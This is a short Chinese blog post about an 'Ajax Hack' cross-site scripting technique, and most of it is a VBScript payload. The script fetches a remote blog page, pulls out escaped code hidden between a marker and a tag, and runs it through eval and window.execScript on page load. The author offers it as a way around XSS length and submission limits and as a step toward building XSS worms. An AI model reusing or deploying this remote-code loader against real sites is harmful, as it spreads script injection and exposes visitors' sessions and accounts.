今天在夢之光芒的BLOG上看見了一個Ajax Hack示範,其實跨站發現很容易,但是要做到大危害還是很難,偷偷COOKIE什麼的只針對使用者而已,XSS WORM的那種利用才是可怕的。
來看看他的一段VBSCRIPT指令碼
複製代碼 代碼如下:
vbscript:execute("
dim l,s:
l=chr(13)+chr(10):
s=""sub mycode""&l:
s=s&""dim http,url,pg,p,p2,cd,ht,o""&l:
s=s&""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l:
s=s&""set http=createobject(""""Microsoft.XMLHTTP"""")""&l:
s=s&""http.open """"get"""",url,false""&l:
s=s&""http.send("""""""")""&l:
s=s&""pg=http.responseText""&l:
s=s&""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""&l:
s=s&""if p=null or p<1 then exit sub""&l:
s=s&""p=instr(p,pg,chr(37))""&l:
s=s&""if p=null or p<1 then exit sub""&l:
s=s&""p2=instr(p,pg,chr(60))""&l:
s=s&""cd=mid(pg,p,p2-p)""&l:
s=s&""ht=""""eval(unescape('""""&cd&""""'))""""""&l:
s=s&""window.execScript ht,""""jscript""""""&l:
s=s&""end sub""&l:
execute(s):
document.body.onload=getref(""mycode""):
")
調用代碼在 http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html
這樣就實現了本站調用代碼,換個思路,是否這就解決了Ajax Hack常用的的提交資料限制(站外提交沒有許可權,XSS代碼長度限制)的問題,呵呵~這裡我也沒實驗。
再還有一個思路就是劍心的分區寫入指令碼再eval出來~這兩個思路結合起來,也許我們就能在苛刻的XSS漏洞上創造奇蹟!